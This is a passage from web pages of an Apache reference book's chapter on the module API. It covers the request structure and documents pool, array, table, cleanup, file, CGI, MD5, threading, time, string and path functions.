  * other set purpose in mind...
  */

  table *headers_in;
  table *headers_out;
  table *err_headers_out;
  table *subprocess_env;
  table *notes;

  /* content_type, handler, content_encoding, content_language, and all
   * content_languages MUST be lowercased strings. They may be pointers
   * to static strings; they should not be modified in place.
   */
  char *content_type;         /* Break these out --- we dispatch on 'em */
  char *handler;              /* What we *really* dispatch on           */

  char *content_encoding;
  char *content_language;
  array_header *content_languages;	/* Array of (char*) */

  int no_cache;
  int no_local_copy;

  /* What object is being requested (either directly, or via include
   * or content-negotiation mapping).
   */
  char *unparsed_uri;         /* The URI without any parsing performed */
  char *uri;                  /* The path portion of the URI */
  char *filename;
  char *path_info;
  char *args;                 /* QUERY_ARGS, if any */
  struct stat finfo;          /* ST_MODE set to zero if no such file */
  uri_components parsed_uri;  /* Components of URI, dismantled */

  /* Various other config info, which may change with .htaccess files.
   * These are config vectors, with one void* pointer for each module
   * (the thing pointed to being the module's business).
   */

  void *per_dir_config;       /* Options set in config files, etc. */
  void *request_config;       /* Notes on *this* request */
/*
 * A linked list of the configuration directives in the .htaccess files
 * accessed by this request.
 * N.B. Always add to the head of the list, _never_ to the end.
 * That way, a subrequest's list can (temporarily) point to a parent's
 * list.
 */
  const struct htaccess_result *htaccess;
};

Previous | Home | Next
14.3. Per-Directory Configuration | Book Index | 14.5. Access to Configuration and Request Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Access to Configuration and Request Information (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

14.5. Access to Configuration and Request Information

All this sounds horribly complicated, and, to be honest, it is. But unless you plan to mess around with the guts of Apache (which this book does not encourage you to do), all you really need to know is that these structures exist and that your module can get access to them at the appropriate moments. Each function exported by a module gets access to the appropriate structure to enable it to function. The appropriate structure depends on the function, of course, but it is always either a server_rec, the module's per-directory configuration structure (or two), or a request_rec. As we have seen above, if you have a server_rec , you can get access to your per-server configuration, and if you have a request_rec, you can get access to both your per-server and your per-directory configurations.

Previous | Home | Next
14.4. Per-Request Information | Book Index | 14.6. Functions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Functions (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

14.6. Functions

Now that we have covered the main structures used by modules, we can detail the functions available to use and manipulate those structures.

14.6.1. Pool Functions

ap_make_sub_pool create a subpool
pool *ap_make_sub_pool(pool *p)
Creates a subpool within a pool. The subpool is destroyed automatically when the pool p is destroyed, but can also be destroyed earlier with destroy_pool or cleared with clear_pool. Returns the new pool.

ap_clear_pool clear a pool without destroying it
void ap_clear_pool(pool *p)
Clears a pool, destroying all its subpools with destroy_pool and running cleanups. This leaves the pool itself empty but intact, and therefore available for reuse.

ap_destroy_pool destroy a pool and all its contents
void ap_destroy_pool(pool *p)
Destroys a pool, running cleanup methods for the contents and also destroying all subpools. The subpools are destroyed before the pool's cleanups are run.

ap_bytes_in_pool report the size of a pool
long ap_bytes_in_pool(pool *p)
Returns the number of bytes currently allocated to a pool.

ap_bytes_in_free_blocks report the total size of free blocks in the pool system
long ap_bytes_in_free_blocks(void)
Returns the number of bytes currently in free blocks for all pools.

ap_palloc allocate memory within a pool
void *ap_palloc(pool *p, int size)
Allocates memory of at least size bytes. The memory is destroyed when the pool is destroyed. Returns a pointer to the new block of memory.

ap_pcalloc allocate and clear memory within a pool
void *ap_pcalloc(pool *p, int size)
Allocates memory of at least size bytes. The memory is initialized to zero. The memory is destroyed when the pool is destroyed. Returns a pointer to the new block of memory.

ap_pstrdup duplicate a string in a pool
char *ap_pstrdup(pool *p,const char *s)
Duplicates a string within a pool. The memory is destroyed when the pool is destroyed. If s is NULL, the return value is NULL; otherwise, it is a pointer to the new copy of the string.

ap_pstrndup duplicate a string in a pool with limited length
char *ap_pstrndup(pool *p, const char *s, int n)
Allocates n+1 bytes of memory and copies up to n characters from s, NULL- terminating the result. The memory is destroyed when the pool is destroyed. Returns a pointer to the new block of memory, or NULL if s is NULL.

ap_pstrcat concatenate and duplicate a list of strings
char *ap_pstrcat(pool *p, ...)
Concatenates the NULL-terminated list of strings together in a new block of memory. The memory is destroyed when the pool is destroyed. Returns a pointer to the new block of memory. For example:

pstrcat(p,"Hello,","world!",NULL);

returns a block of memory containing Hello, world!

14.6.2. Array Functions

ap_make_array allocate an array of arbitrary-size elements
array_header *ap_make_array(pool *p, int nelts, int elt_size)
Allocates memory to contain nelts elements of size elt_size. The array can grow to contain as many elements as needed. The array is destroyed when the pool is destroyed. Returns a pointer to the new array.

ap_push_array add a new element to an array
void *ap_push_array(array_header *arr)
Returns a pointer to the next element of the array arr, allocating more memory to accommodate it if necessary.

ap_array_cat concatenate two arrays
void ap_array_cat(array_header *dst, const array_header *src)
Appends the array src to the array dst. The dst array is allocated more memory if necessary to accommodate the extra elements. Although this operation only makes sense if the two arrays have the same element size, there is no check for this.

ap_copy_array create a copy of an array
array_header *ap_copy_array(pool *p, const array_header *arr)
Creates a new copy of the array arr in the pool p. The new array is destroyed when the pool is destroyed. Returns a pointer to the new array.

ap_copy_array_hdr create a copy of an array with copy-on-write
array_header *ap_copy_array_hdr(pool *p, const array_header *arr)
Copies the array arr into the pool p without immediately copying the array's storage. If the array is extended with push_array, the original array is copied to the new array before the extension takes place. Returns a pointer to the new array.

There are at least two pitfalls with this function. First, if the array is not extended, its memory is destroyed when the original array is destroyed; second, any changes made to the original array may also affect the new array if they occur before the new array is extended.

ap_append_arrays concatenate two arrays into a new array
array_header*ap_append_arrays(pool*p, const array_haeder*first, const array_header *second)
Creates a new array consisting of the elements of second appended to the elements of first. If second is empty, the new array shares memory with first until a new element is appended (this is a consequence of using ap_copy_array_hdr() to create the new array; see the warning in that function). Returns a pointer to the new array.

14.6.3. Table Functions

A table is an association between two strings known as the key and the value, accessible by the key.

ap_make_table create a new table
table *ap_make_table(pool *p, int nelts)
Creates a new table with sufficient initial storage for nelts elements. Returns a pointer to the table.

ap_copy_table copy a table
table *ap_copy_table(pool *p, const table *t)
Returns a pointer to a copy of the table.

ap_table_elts access the array that underlies a table
array_header *ap_table_elts(table *t)
Returns the array upon which the table is based.

ap_is_empty_table test whether a table is empty
int ap_is_empty_table(table *t)
Returns nonzero if the table is empty.

ap_table_set create or replace an entry in a table
void ap_table_set(table *t, const char *key, const char *value)
If key already has an associated value in t, it is replaced with a copy of value; otherwise, a new entry is created in the table. Note that the key and value are duplicated with ap_pstrdup().

ap_table_setn create or replace an entry in a table without duplication
void ap_table_setn(table *t, const char *key, const char *value)
This is similar to ap_table_set(), except that the key and value are not duplicated. This is normally used to copy a value from a pool to a subpool.

ap_table_merge merge a new value into a table
void ap_table_merge(table *t, const char *key, const char *value)
If an entry already exists for key in the table, value is appended to the existing value, separated by a comma and a space. Otherwise, a new entry is created, as in table_set. Note that if multiple instances of key exist in the table, only the first is affected.

pool *p;     /* Assumed to be set elsewhere */
table *t;
char *v;

t=make_table(1);
table_set(t,"somekey","Hello");
table_merge(t,"somekey","world!");
v=table_get(t,"somekey");     /* v now contains "Hello, world!" */
ap_table_mergen merge a new value into a table without duplication
void ap_table_mergen(table *t, const char *key, const char *value)
This is similar to ap_table_merge(), except that if a new key/value pair is created, it is not duplicated. This is normally used to merge a value from a pool into a subpool.

ap_table_add add a new key/value pair to a table
void ap_table_add(table *t, const char *key, const char *value)
Adds a new entry to the table, associating key with value. Note that a new entry is created whether or not the key already exists in the table. The key and value stored are duplicated using ap_pstrdup().

ap_table_addn add a new key/value pair to a table without duplication
void ap_table_addn(table *t, const char *key, const char *value)
Adds a new entry to the table, associating key with value. Note that a new entry is created whether or not the key already exists in the table. The key and value stored are not duplicated, so care must be taken to ensure they are not changed. This function is normally used to copy a table element from a pool into a subpool.

ap_table_unset remove an entry from a table
void ap_table_unset(table *t, const char *key)
Removes the entry in the table corresponding to key. It is not an error to remove an entry that does not exist.

ap_table_get find the value in a table corresponding to a key
const char *ap_table_ get(const table *t, const char *key)
Returns the value corresponding to key in the table t. Note that you may not modify the returned value.

ap_table_do apply a function to each element of a table
void ap_table_do(int(*comp)(void*, const char*, const char*), void*rec, const table *t,...)
If the NULL terminated vararg list is empty, traverses the whole table and runs the function comp(rec,key,value) on each key/value pair. If the vararg list is non-empty, traverses the matching keys (strcasecmp() is used to determine a match) and runs the same function. Each traversal is terminated if the function comp returns the value 0.

In either case it may happen that the comp() function is called multiple times for the same key. The table may again contain various entries of the same key; and if the vararg list is non-empty, the traversal is repeated for any vararg item, even if they are equal.

ap_overlay_tables concatenate two tables to give a new table
table *ap_overlay_tables(pool *p, const table *overlay, const table *base)
Creates a new table consisting of the two tables overlay and base concatenated, overlay first. No attempt is made to merge or override existing keys in either table, but since overlay comes first, any retrieval done with table_get on the new table gets the entry from overlay if it exists. Returns a pointer to the new table.

ap_clear_table clear a table without deleting it
API_EXPORT(void) ap_clear_table(table *t)
Clears the table. None of the elements are destroyed (since the pool mechanism doesn't permit it, anyway), but they become unavailable.

14.6.4. Cleanup Functions

An important part of the pool is the cleanup functions that are run when the pool is destroyed. These functions deal with those cleanup functions.

ap_register_cleanup register a cleanup function
void ap_register_cleanup(pool*p, void*data, void(*plain_cleanup)(void*),void (*child_cleanup)(void *))
Registers a pair of functions to be called when the pool is destroyed. Pools can be destroyed for two reasons: first, because the server has finished with that pool, in which case it destroys it and calls the plain_cleanup function, or second, because the server has forked and is preparing to exec some other program, in which case the child_cleanup function is called. In either case, data is passed as the only argument to the cleanup function. If either of these cleanups is not required, use ap_null_cleanup.

ap_kill_cleanup remove a cleanup function
void ap_kill_cleanup(pool *p, void *data, void (*plain_cleanup)(void *))
Removes the previously registered cleanup function from the pool. The cleanup function is identified by the plain_cleanup function and the data pointer previously registered with register_cleanup. Note that the data pointer must point to the same memory as was used in register_cleanup.

ap_cleanup_for_exec clear all pools in preparation for an exec
void ap_cleanup_for_exec(void)
Destroys all pools using the child_cleanup methods. Needless to say, this should only be done after forking and before running a (nonserver) child. Calling this in a running server certainly stops it from working!

Figure 14.3 Note that on Win32 this actually does nothing, on the slightly dubious grounds that we aren't forked. Unfortunately, there isn't really much alternative.

ap_note_cleanups_for_fd register a cleanup for a file descriptor
void ap_note_cleanups_for_fd(pool *p, int fd)
Registers a cleanup function that will close the file descriptor when the pool is destroyed. Normally one of the file-opening functions does this for you, but it is occasionally necessary to do it "by hand." Note that sockets have their own cleanup functions.

ap_kill_cleanups_for_fd remove the cleanup for a file descriptor
void ap_kill_cleanups_for_fd(pool *p, int fd)
Kills cleanups for a file descriptor registered using popenf(), pfopen(), pfdopen(), or note_cleanups_for_fd(). Normally this is taken care of when the file is closed, but occasionally it is necessary to call it directly.

ap_note_cleanups_for_socket register a cleanup for a socket
void ap_note_cleanups_for_socket(pool *p, int fd)
Registers a cleanup function that will close the socket when the pool is destroyed. This is distinct from ap_note_cleanups_for_fd() because sockets and file descriptors are not equivalent on Win32.

ap_kill_cleanups_for_socket remove the cleanup for a socket
void ap_kill_cleanups_for_socket(pool *p, int sock)
Removes the cleanup function for the socket sock. This is normally done for you when the socket is closed by ap_pclosesocket(), but it may occasionally be necessary to call it directly.

ap_note_cleanups_for_file register a cleanup for a FILE *
void ap_note_cleanups_for_file(pool *p, FILE *f)
Registers a cleanup function to close the stream when the pool is destroyed. Strangely, there isn't an ap_kill_cleanups_for_file().

ap_run_cleanup run a cleanup function, blocking alarms
void ap_run_cleanup(pool *p, void *data, void (*cleanup)(void *))
Runs a cleanup function, passing data to it, with alarms blocked. It isn't usually necessary to call this, since cleanups are run automatically, but it can be used for any custom cleanup code. The cleanup function is removed from p.

14.6.5. File and Socket Functions

These functions are used to open and close files and sockets with automatic cleanup registration and killing.

ap_popenf open a file with automatic cleanup
int ap_popenf(pool *p, const char *name, int flg, int mode)
The equivalent to the standard C function open(), except that it ensures that the file is closed when the pool is destroyed. Returns the file descriptor for the opened file, or -1 on error.

ap_pclosef close a file opened with popenf
int ap_pclosef(pool *p, int fd)
Closes a file previously opened with ap_popenf(). The return value is whatever close() returns. The file's cleanup function is destroyed.

ap_pfopen open a stream with automatic cleanup
FILE *ap_pfopen(pool *p, const char *name, const char *mode)
Equivalent to fopen(), except that it ensures that the stream is closed when the pool is destroyed. Returns a pointer to the new stream, or NULL on error.

ap_pfdopen open a stream from a file descriptor with automatic cleanup
FILE *ap_pfdopen(pool *p, int fd, const char *mode)
Equivalent to fdopen(), except that it ensures the stream is closed when the pool is destroyed. Returns a pointer to the new stream, or NULL on error.

ap_pfclose close a stream opened with pfopen( ) or pfdopen( )
int ap_pfclose(pool *p, FILE *fd)
Closes the stream with fclose(), removing its cleanup function from the pool. Returns whatever fclose() returns.

ap_psocket open a socket with automatic cleanup
int ap_psocket(pool *p, int domain, int type, int protocol)
Opens a socket, using socket(), registering a cleanup function to close the socket when the pool is destroyed.

ap_pclosesocket close a socket created with ap_psocket( )
int ap_pclosesocket(pool *a, int sock)
Closes the socket, using closesocket(), removing the cleanup function from the pool. Returns whatever closesocket() returns.

14.6.6. Regular Expression Functions

Note that only the functions that allocate memory are wrapped by Apache API functions.

ap_pregcomp compile a regular expression with automatic cleanup
regex_t *ap_pregcomp(pool *p, const char *pattern, int cflags)
Equivalent to regcomp(), except that memory used is automatically freed when the pool is destroyed and that the regex_t * argument to regcomp() is created in the pool and returned, rather than being passed as a parameter.

ap_pregsub substitute for regular expression submatches
char *ap_pregsub(pool *p, const char *input, const char *source, size_t nmatch, regmatch_t pmatch[])
Substitutes for $0-$9 in input, using source as the source of the substitutions, and pmatch to determine where to substitute from. nmatch, pmatch, and source should be the same as passed to regexec(). Returns the substituted version of input in memory allocated from p.

ap_pregfree free a regular expression compiled with ap_pregcomp( )
void ap_pregfree(pool *p, regex_t * reg)
Frees the regular expression with regfree(), removing its cleanup function from the pool.

ap_os_is_path_absolute determine whether a path is absolute
int ap_os_is_path_absolute(const char *file)
Returns 1 if file is an absolute path, 0 otherwise.

14.6.7. Process and CGI Functions

ap_note_subprocess register a subprocess for killing on pool destruction
void ap_note_subprocess(pool *p, int pid, enum kill_conditions how)
Registers a subprocess to be killed on pool destruction. Exactly how it is killed depends on how:

kill_never

Don't kill the process or wait for it. This is normally used internally.

kill_after_timeout

Send the process a SIGTERM, wait three seconds, send a SIGKILL, and wait for the process to die.

kill_always

Send the process a SIGKILL and wait for the process to die.

just_wait

Don't send the process any kind of kill.

kill_only_once

Send a SIGTERM, then wait.

Note that all three-second delays are carried out at once, rather than one after the other.

ap_spawn_child spawn a child process
int ap_spawn_child(pool *p, void(*func)(void *,child_info *), void *data,
enum kill_conditions kill_how, FILE **pipe_in, FILE **pipe_out, FILE **pipe_err)
This function should not be used, as it is known to expose bugs in Microsoft's libraries on Win32. You should use ap_bspawn_child() instead. This function was called spawn_child_err in previous versions of Apache.

ap_bspawn_child spawn a child process
int ap_bspawn_child(pool *p, int (*func) (void *, child_info *), void
*data,
 enum kill_conditions kill_how, BUFF **pipe_in, BUFF **pipe_out, BUFF **pipe_err)
Spawns a child process, with pipes optionally connected to its standard input, output, and error. This function takes care of the details of forking (if the platform supports it) and setting up the pipes. func is called with data and a child_info structure as its arguments in the child process.

Figure 14.3 The child_info structure carries information needed to spawn the child under Win32; it is normally passed straight on to ap_call_exec(). If func() wants cleanup to occur, it calls cleanup_for_exec. func() will normally actually execute the child process with ap_call_exec(). If any of pipe_in, pipe_out, or pipe_err are NULL, those pipes aren't created; otherwise, they are filled in with pointers to BUFFs that are connected to the subprocesses' standard input, output, and error, respectively. Note that on Win32, the pipes use Win32 native handles rather than C file handles. This function only returns in the parent. Returns the PID of the child process, or -1 on error. This function was called spawn_child_err_buff in previous versions of Apache.

ap_call_exec exec, spawn, or call setuid wrapper
int ap_call_exec(request_rec*r, child_info*pinfo, char*argv0, char**env, int shellcmd)
Calls exec() (or an appropriate spawning function on nonforking platforms) or the setuid wrapper, depending on whether setuid wrappers are enabled. argv0 is the name of the program to run; env is a NULL-terminated array of strings to be used as the environment of the exec'd program. If shellcmd is nonzero, the command is run via a shell. If r->args is set and does not contain an equal sign, it is passed as command-line arguments. pinfo should be the structure passed by ap_bspawn_child(). This function should not return on forking platforms. On nonforking platforms it returns the PID of the new process.

ap_can_exec check whether a path can be executed
int ap_can_exec(const struct stat *finfo)
Given a struct stat (from stat() et al.), returns nonzero if the file described by finfo can be executed.

ap_add_cgi_vars set environment variables for CGIs
void ap_add_cgi_vars(request_rec *r)
Adds the environment variables required by the CGI specification (apart from those added by ap_add_common_vars()). Call this before actually exec()ing a CGI. ap_add_common_vars() should also be called.

ap_add_common_vars set environment variables for subprograms
void ap_add_common_vars(request_rec *r)
Adds the environment variables common to all subprograms run as a result of a request. Usually, ap_add_cgi_vars() should be called as well. The only exception we are aware of is ISAPI programs.

ap_scan_script_header_err scan the headers output by a CGI
int ap_scan_script_header_err(request_rec *r, FILE *f, char *buffer)
Read the headers arriving from a CGI on f, checking them for correctness. Most headers are simply stored in r->headers_out, which means they'll ultimately be sent to the client, but a few are dealt with specially:

Status

If this is set, it is used as the HTTP response code.

Location

If this is set, the result is a redirect to the URL specified.

If buffer is provided (it can be NULL), then, should the script send an illegal header, it will be left in buffer, which must be at least MAX_STRING_LEN bytes long. The return value is HTTP_OK, the status set by the script, or SERVER_ERROR if an error occurred.

ap_scan_script_header_err_buff scan the headers output by a CGI
int ap_scan_script_header_err_buff(request_rec *r, BUFF *fb, char*buffer)
This is similar to ap_scan_script_header_err(), except that the CGI is connected with a BUFF * instead of a FILE *.

ap_scan_script_header scan the headers output by a CGI
int ap_scan_script_header(request_rec *r, FILE *f)
This is similar to ap_scan_script_header_err(), except that no error buffer is passed.

14.6.8. MD5 Functions

ap_md5 calculate the MD5 hash of a string
char *ap_md5(pool *p, unsigned char *string)
Calculates the MD5 hash of string, returning the ASCII hex representation of the hash (which is 33 bytes, including terminating NUL), allocated in the pool p.

ap_md5contextTo64 convert an MD5 context to base 64 encoding
char *ap_md5contextTo64(pool *a, AP_MD5_CTX * context)
Take the MD5 hash in context (which must not have had ap_MD5Final run) and make a base 64 representation of it in the pool a.

ap_md5digest make a base 64 MD5 digest of an open file
char *ap_md5digest(pool *p, FILE *infile)
Reads the file infile from its current position to the end, returning a base 64 MD5 digest allocated in the pool p. The file is rewound to the beginning after calculating the digest.

ap_MD5Init initialize an MD5 digest
void ap_MD5Init(AP_MD5_CTX *context)
Initializes context, in preparation for an MD5 digest.

ap_MD5Final finalize an MD5 digest
void ap_MD5Final(unsigned char digest[16], AP_MD5_CTX *context)
Finishes the MD5 operation, writing the digest to digest and zeroing context.

ap_MD5Update add a block to an MD5 digest
void ap_MD5Update(AP_MD5_CTX * context, const unsigned char *input, unsigned int inputLen)
Processes inputLen bytes of input, adding them to the digest being calculated in context.

14.6.9. Synchronization and Thread Functions

These functions hide operating system-dependent functions. On platforms that do not use threads for Apache, these functions exist but do not do anything; they simulate success if called.

Note that of these functions, only the mutex functions are actually implemented. The rest are documented for completeness (and in case they get implemented).

14.6.9.1. Mutex Functions

ap_create_mutex create a mutual exclusion object
mutex *ap_create_mutex(char *name)
Creates a mutex object with the name name. Returns NULL if the operation fails.

ap_open_mutex open a mutual exclusion object
mutex *ap_open_mutex(char *name)
Opens an existing mutex with the name name. Returns NULL if the operation fails.

ap_acquire_mutex lock an open mutex object
int ap_acquire_mutex(mutex *mutex_id)
Locks the open mutex mutex_id. Blocks until the lock is available. Returns MULTI_OK or MULTI_ERR.

ap_release_mutex release a locked mutex
int ap_release_mutex(mutex *mutex_id)
Unlocks the open mutex mutex_id. Blocks until the lock is available. Returns MULTI_OK or MULTI_ERR.

ap_destroy_mutex destroy an open mutex
void ap_destroy_mutex(mutex *mutex_id);
Destroys the mutex mutex_id.

14.6.9.2. Semaphore Functions

create_semaphore create a semaphore
semaphore *create_semaphore(int initial)
Creates a semaphore with an initial value of initial.

acquire_semaphore acquire a semaphore
int acquire_semaphore(semaphore *semaphore_id)
Acquires the semaphore semaphore_id. Blocks until it is available. Returns MULTI_OK or MULTI_ERR.

release_semaphore release a semaphore
int release_semaphore(semaphore *semaphore_id)
Releases the semaphore semaphore_id. Returns MULTI_OK or MULTI_ERR.

destroy_semaphore destroy an open semaphore
void destroy_semaphore(semaphore *semaphore_id)
Destroys the semaphore semaphore_id.

14.6.9.3. Event Functions

create_event create an event
event *create_event(int manual, int initial, char *name)
Creates an event named name, with an initial state of initial. If manual is true, the event must be reset manually. If not, setting the event immediately resets it. Returns NULL on failure.

open_event open an existing event
event *open_event(char *name)
Opens an existing event named name. Returns NULL on failure.

acquire_event wait for an event to be signaled
int acquire_event(event *event_id)
Waits for the event event_id to be signaled. Returns MULTI_OK or MULTI_ERR.

set_event signal an event
int set_event(event *event_id)
Signals the event event_id. Returns MULTI_OK or MULTI_ERR.

reset_event clear an event
int reset_event(event *event_id)
Clears the event event_id. Returns MULTI_OK or MULTI_ERR.

destroy_event destroy an open event
void destroy_event(event *event_id)
Destroys the event event_id .

14.6.9.4. Thread Functions

create_thread create a thread
thread *create_thread(void (thread_fn) (void *thread_arg), void *thread_arg)
Creates a thread, calling thread_fn with the argument thread_arg in the newly created thread. Returns NULL on failure.

kill_thread kill a thread
int kill_thread(thread *thread_id)
Kills the thread thread_id. Since this may leave a thread's resources in an unknown state, it should only be used with caution.

await_thread wait for a thread to complete
int await_thread(thread *thread_id, int sec_to_wait)
Waits for the thread thread_id to complete, or for sec_to_wait seconds to pass, whichever comes first. Returns MULTI_OK, MULTI_TIMEOUT, or MULTI_ERR.

exit_thread exit the current thread
void exit_thread(int status)
Exits the current thread, returning status as the thread's status.

free_thread free a thread's resources
void free_thread(thread *thread_id)
Frees the resources associated with the thread thread_id. Should only be done after the thread has terminated.

14.6.10. Time and Date Functions

ap_get_time return a human-readable version of the current time
char *ap_get_time(void)
Uses ctime to format the current time and removes the trailing newline. Returns a pointer to a string containing the time.

ap_ht_time return a pool-allocated string describing a time
char *ap_ht_time(pool *p, time_t t, const char *fmt, int gmt)
Formats the time using strftime and returns a pool-allocated copy of it. If gmt is nonzero, the time is formatted as GMT; otherwise, it is formatted as local time. Returns a pointer to the string containing the time.

ap_gm_timestr_822 format a time according to RFC 822
char *ap_gm_timestr_822(pool *p, time_t t)
Formats the time as specified by RFC 822 (Standard for the Format of ARPA Internet Text Messages [72] ). The time is always formatted as GMT. Returns a pointer to the string containing the time.

[72]Or, in other words, mail. Since HTTP has elements borrowed from MIME, and MIME is for mail, you can see the connection.

ap_get_gmtoff get the time and calculate the local time zone offset from GMT
struct tm *ap_get_gmtoff(long *tz)
Returns the current local time, and tz is filled in with the offset of the local time zone from GMT, in seconds.

ap_tm2sec convert a struct tm to standard Unix time
time_t ap_tm2sec(const struct tm *t)
Returns the time in t as the time in seconds since 1 Jan 1970 00:00 GMT. t is assumed to be in GMT.

ap_parseHTTPdate convert an HTTP date to Unix time
time_t ap_parseHTTPdate(const char *date)
Parses a date in one of three formats, returning the time in seconds since 1 Jan 1970 00:00 GMT. The three formats are as follows:

  • Sun, 06 Nov 1994 08:49:37 GMT (RFC 822, updated by RFC 1123)

  • Sunday, 06-Nov-94 08:49:37 GMT (RFC 850, made obsolete by RFC 1036)

  • Sun Nov 6 08:49:37 1994 (ANSI C asctime() format)

Note that since HTTP requires dates to be in GMT, this routine ignores the timezone field.

14.6.11. String Functions

ap_strcmp_match wildcard match two strings
int ap_strcmp_match(const char *str, const char *exp)
Matches str to exp, except that * and ? can be used in exp to mean "any number of characters" and "any character," respectively. You should probably use the newer and more powerful regular expressions for new code. Returns 1 for success, 0 for failure, and -1 for abort.

ap_strcasecmp_match case-blind wildcard match two strings
int ap_strcasecmp_match(const char *str, const char *exp)
Similar to strcmp_match, except matching is case blind.

ap_is_matchexp does a string contain wildcards?
int ap_is_matchexp(const char *exp)
Returns 1 if exp contains * or ?; 0 otherwise.

ap_getword extract one word from a list of words
char *ap_getword(pool *p, const char **line, char stop)
char *ap_getword_nc(pool *p, char **line, char stop)
Looks for the first occurrence of stop in *line and copies everything before it to a new buffer, which it returns. If *line contains no stops, the whole of *line is copied. *line is updated to point after the occurrence of stop, skipping multiple instances of stop if present. ap_getword_nc() is a version of ap_getword() that takes a nonconstant pointer. This is because some C compilers complain if a char ** is passed to a function expecting a const char **.

ap_getword_white extract one word from a list of words
char *ap_getword_white(pool *p, const char **line)
char *ap_getword_white_nc(pool *p, char **line)
Works like ap_getword(), except the words are separated by whitespace (as determined by isspace).

ap_getword_nulls extract one word from a list of words
char *ap_getword_nulls(pool *p, const char **line, char stop)
char *ap_getword_nulls_nc(pool *p, char **line, char stop)
Works like ap_getword(), except that multiple occurrences of stop are not skipped, so null entries are correctly processed.

ap_getword_conf extract one word from a list of words
char *ap_getword_conf(pool *p, const char **line)
char *ap_getword_conf_nc(pool *p, char **line)
Works like ap_getword(), except that words can be separated by whitespace and can use quotes and backslashes to escape characters. The quotes and backslashes are stripped.

ap_get_token extract a token from a string
char *ap_get_token(pool *p, const char **line, int accept_white)
Extracts a token from *line, skipping leading whitespace. The token is delimited by a comma or a semicolon. If accept_white is zero, it can also be delimited by whitespace. The token can also include delimiters if they are enclosed in double quotes, which are stripped in the result. Returns a pointer to the extracted token, which has been allocated in the pool p.

ap_find_token look for a token in a line (usually an HTTP header)
int ap_find_token(pool *p, const char *line, const char *tok)
Looks for tok in line. Returns nonzero if found. The token must exactly match (case blind) and is delimited by control characters (determined by iscntrl), tabs, spaces, or one of these characters:

()<>@,;\\/[]?={}

This corresponds to the definition of a token in RFC 2068.

ap_find_last_token check if the last token is a particular string
int ap_find_last_token(pool *p, const char *line, const char *tok)
Checks whether the end of line matches tok, and tok is preceded by a space or a comma. Returns 1 if so, 0 otherwise.

ap_escape_shell_cmd escape dangerous characters in a shell command
char *ap_escape_shell_cmd(pool *p, const char *s)
Prefixes dangerous characters in s with a backslash, returning the new version. The current set of dangerous characters is as follows:

&;`'\"|*?~<>^()[]{}$\\\n

Under OS/2, & is converted to a space.[73]

[73]Don't think that using this function makes shell scripts safe: it doesn't. See Chapter 13, "Security".

ap_uudecode uudecode a block of characters
char *ap_uudecode(pool *p, const char *coded)
Returns a decoded version of coded allocated in p.

ap_escape_html escape some HTML
char *ap_escape_html(pool *p, const char *s)
Escapes HTML so that the characters <, >, and & are displayed correctly. Returns a pointer to the escaped HTML.

ap_checkmask check whether a string matches a mask
int ap_checkmask(const char *data, const char *mask)
Checks whether data conforms to the mask in mask. mask is composed of the following characters:

@

An uppercase letter

$

A lowercase letter

&

A hexadecimal digit

#

A decimal digit

~

A decimal digit or a space

*

Any number of any character

Anything else

Itself

data is arbitrarily limited to 256 characters. Returns 1 for a match, 0 if not. For example, the following code checks for RFC 1123 date format:

if(ap_checkmask(date, "## @$$ #### ##:##:## *"))
    ...
ap_str_tolower convert a string to lowercase
void ap_str_tolower(char *str)
Converts str to lowercase, in place.

ap_psprintf format a string
char *ap_psprintf(pool *p, const char *fmt, ...)
Much the same as the standard function sprintf() except that no buffer is supplied; instead, the new string is allocated in p. This makes this function completely immune from buffer overflow. Also see ap_vformatter().

ap_pvsprintf format a string
char *ap_pvsprintf(pool *p, const char *fmt, va_list ap)
Similar to ap_psprintf(), except that varargs are used.

ap_ind find the first index of a character in a string
int ap_ind(const char *s, char c)
Returns the offset of the first occurrence of c in s, or -1 if c is not in s.

ap_rind find the last index of a character in a string
int ap_rind(const char *s, char c)
Returns the offset of the last occurrence of c in s, or -1 if c is not in s.

14.6.12. Path, Filename, and URL Manipulation Functions

ap_getparents remove "." and ".." segments from a path
void ap_getparents(char *name)
Removes ".." and "." segments from a path, as specified in RFC 1808 (Relative Uniform Resource Locators). This is important not only for security but also to allow correct matching of URLs. Note that Apache should never be presented with a path containing such things, but it should behave correctly when it is.

ap_no2slash remove "//" from a path
void ap_no2slash(char *name)
Removes double slashes from a path. This is important for correct matching of URLs.

ap_make_dirstr make a copy of a path with a trailing slash, if needed
char *ap_make_dirstr(pool *p, const char *path, int n)
Makes a copy of path guaranteed to end with a slash. It will truncate the path at the nth slash. Returns a pointer to the copy, which was allocated in the pool p.

ap_make_dirstr_parent make the path of the parent directory
char * ap_make_dirstr_parent(pool *p, const char *s)
Make a new string in p with the path of s's parent directory, with a trailing slash.

ap_make_dirstr_prefix copy part of a path
char *ap_make_dirstr_prefix(char *d, const char *s, int n)
Copy the first n path elements from s to d, or the whole of s if there are less than n path elements. Note that a leading slash counts as a path element.

ap_count_dirs count the number of slashes in a path
int ap_count_dirs(const char *path)
Returns the number of slashes in a path.

ap_chdir_file change to the directory containing file
void ap_chdir_file(const char *file)
Performs a chdir() to the directory containing file. This is done by finding the last slash in the file and changing to the directory preceding it. If there are no slashes in the file, it attempts a chdir to the whole of file. It does not check that the directory is valid, nor that the chdir succeeds.

ap_unescape_url remove escape sequences from a URL
int ap_unescape_url(char *url)
Converts escape sequences (%xx) in a URL back to the original character. The conversion is done in place. Returns 0 if successful, BAD_REQUEST if a bad escape sequence is found, and NOT_FOUND if %2f (which converts to "/" ) or %00 is found.

ap_construct_server make the server part of a URL
char *ap_construct_server(pool *p, const char *hostname, int port, request_rec *r)
Makes the server part of a URL by appending :<port> to hostname if port is not the default port for the scheme used to make the request.

ap_construct_url make an HTTP URL
char *ap_construct_url(pool *p, const char *uri, const request_rec *r)
Makes a URL by prefixing the scheme used by r to the server name and port extracted from r, and appending uri. Returns a pointer to the URL.

ap_escape_path_segment escape a path segment as per RFC 1808
char *ap_escape_path_segment(pool *p, const char *segment)
Returns an escaped version of segment, as per RFC 1808.

ap_os_escape_path escape a path as per RFC 1808
char *ap_os_escape_path(pool *p, const char *path, int partial)
Returns an escaped version of path, per RFC 1808. If partial is nonzero, the path is assumed to be a trailing partial path (so that a "./" is not used to hide a ":").

ap_is_directory checks whether a path refers to a directory
int ap_is_directory(const char *path)
